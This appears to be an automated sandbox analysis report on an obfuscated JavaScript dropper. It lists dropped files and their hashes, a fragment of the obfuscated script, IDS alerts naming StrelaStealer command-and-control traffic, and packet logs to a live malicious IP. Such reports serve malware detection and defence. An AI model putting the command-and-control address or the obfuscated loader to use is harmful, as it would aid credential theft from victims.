Preview:	SessionID=1b7cc54f-9906-4cd8-aab3-eb3fdc693ad4.1736558192230 Timestamp=2025-01-10T20:16:32:230-0500 ThreadID=8024 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1b7cc54f-9906-4cd8-aab3-eb3fdc693ad4.1736558192230 Timestamp=2025-01-10T20:16:32:273-0500 ThreadID=8024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1b7cc54f-9906-4cd8-aab3-eb3fdc693ad4.1736558192230 Timestamp=2025-01-10T20:16:32:274-0500 ThreadID=8024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1b7cc54f-9906-4cd8-aab3-eb3fdc693ad4.1736558192230 Timestamp=2025-01-10T20:16:32:274-0500 ThreadID=8024 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1b7cc54f-9906-4cd8-aab3-eb3fdc693ad4.1736558192230 Timestamp=2025-01-10T20:16:32:274-0500 ThreadID=8024 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.41459491832545
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR5a:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRO
MD5:	725F11E1045234DFBD895FA2499915E4
SHA1:	2728D6AF51EDC461D78F0B4EC5C021BB117616F5
SHA-256:	81BD998F241C372543189CD7E73200613784D13B72101FF49377F111190F7B79
SHA-512:	86CF020A8F801F44BB4AF7E371EA17E2785FEE8FC615A0D7E08C7126D5719B789AA1F6F0574109CFB9F96B3CA1D17F661949A5F7F5632DCA0AC8137A36B9C827
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\73617c9d-b178-458a-ad18-4d86b83ea6f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a6feac20-bfff-490b-9449-b4d5042a5514.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d3874874-2efa-46f1-8462-156ffcb3d881.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/x3wYIGNPoeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J3wZG7WLxYGZN3mlind9i4ufFXpAXkru
MD5:	DDBE0036E36BBAEA3115FBE4C229E3C2
SHA1:	50C4ECFF990C61EF8479C71C2553CB4108614476
SHA-256:	97B13973172C9A39EEDE5CB0C3E7A647CD973182DCA50457B21AC8A86FE3EF6C
SHA-512:	05555138DA1DAB16B51FF0C2136AE2CC607CE3AC38068F59A87AB049D85019373503A4CC9AA0C8C77D85C5F45A2921A266B0AAF4341030D22289FD0FF610F98E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ee2d00e6-0ff6-410e-abd1-f8ec4dd66aec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17146), with CRLF line terminators
Entropy (8bit):	4.921418086048176
TrID:
File name:	142628891044814616.js
File size:	20'585 bytes
MD5:	6adf78c80ee43248c4fc6306509a4f4f
SHA1:	5468b656ff483a11d9bc894aaaa9550a921fcf3a
SHA256:	165d3f10e9fd488b2e05d7d3cb6c413474cbe6248430d1f8908e397c76c1c41d
SHA512:	14243ea1f2bb02b021455c4a648893952f6d6bd338bfed223dad6a937898674fad3b6e225add8a6563d5625f811c11061e02c2accca985e90f6d21ef8028d9fc
SSDEEP:	384:IbOPfS7K85PoKQmf7VzpoXkwYTjGigTd65O4JO2PQm/MZTThNm7fUUoWdEdEy:qOP8r5PoXmf7cNm78U4dl
TLSH:	739264A3DCA4C481DDEEC6E015FF34A9795C0FCC86A4C0EE80D25C54A789F946AF65B2
File Content Preview:	function rjbcriqq(){yhosd=[1031,3079,5127,4103,2055,3072];var lxppnt=this[xngkvagn+lhwdqtjnn+ytrslp+jycplxhg+jwvapg+tpqqrl+ceanaddjx+azcod](this[zmhkufw+bhcqjwjr+lyrimb+ytrslp+luzbtlvj+xngkvagn+azcod][cksronv+ytrslp+jwvapg+lhwdqtjnn+azcod+jwvapg+rwakipr+j

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:16:28.668157+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T02:16:28.668157+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T02:16:31.069074+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:16:27.851424932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:27.856604099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:27.856709003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:27.859795094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:27.864713907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.667989969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668061018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668097019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668132067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668157101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.668164968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668199062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668207884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.668250084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.668299913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668334007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668365955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668399096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.668410063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.668445110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.673130035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.673166037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.673278093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.725465059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.725482941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.725598097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.796693087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.796714067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.796727896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.796792984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.796808958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.796849966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.796878099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.796948910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.796961069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.797005892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.797329903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.797374010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.797389984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.797401905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.797441959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.797533989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.797547102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.797597885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.798167944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798180103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798191071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798223019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.798654079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798666000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798677921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798710108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.798736095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.798851967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798865080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.798913956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.799504995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.799535036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.799644947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.851885080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.851953983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.852010012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.906621933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.906641960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.906704903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.906713009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.906716108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.906759977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.925877094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.925893068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.925911903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.925920963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.925975084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.926002026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926126003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926139116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926163912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.926203012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926242113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.926296949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926309109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926345110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.926762104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926774025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926784992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926810980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.926969051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926980019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.926997900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927025080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.927043915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.927408934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927419901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927429914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927453995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.927624941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927635908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927647114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927658081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.927666903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.927686930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.928252935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928263903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928273916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928293943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.928314924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.928443909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928456068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928466082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928476095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.928503036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.928525925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.929136992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929147959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929152966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929224014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.929367065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929379940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929389000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929400921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.929413080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.929513931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.930001020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.930011988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.930022001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.930042982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.930063963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.930124998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.938015938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.938030005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.938041925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.938067913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.938082933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.938097000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.990958929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:28.993010044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.993057013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:28.993123055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.035594940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.035634041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.035687923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.035695076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.035722971 CET	80	49699	193.143.1.205	192.168.2.7
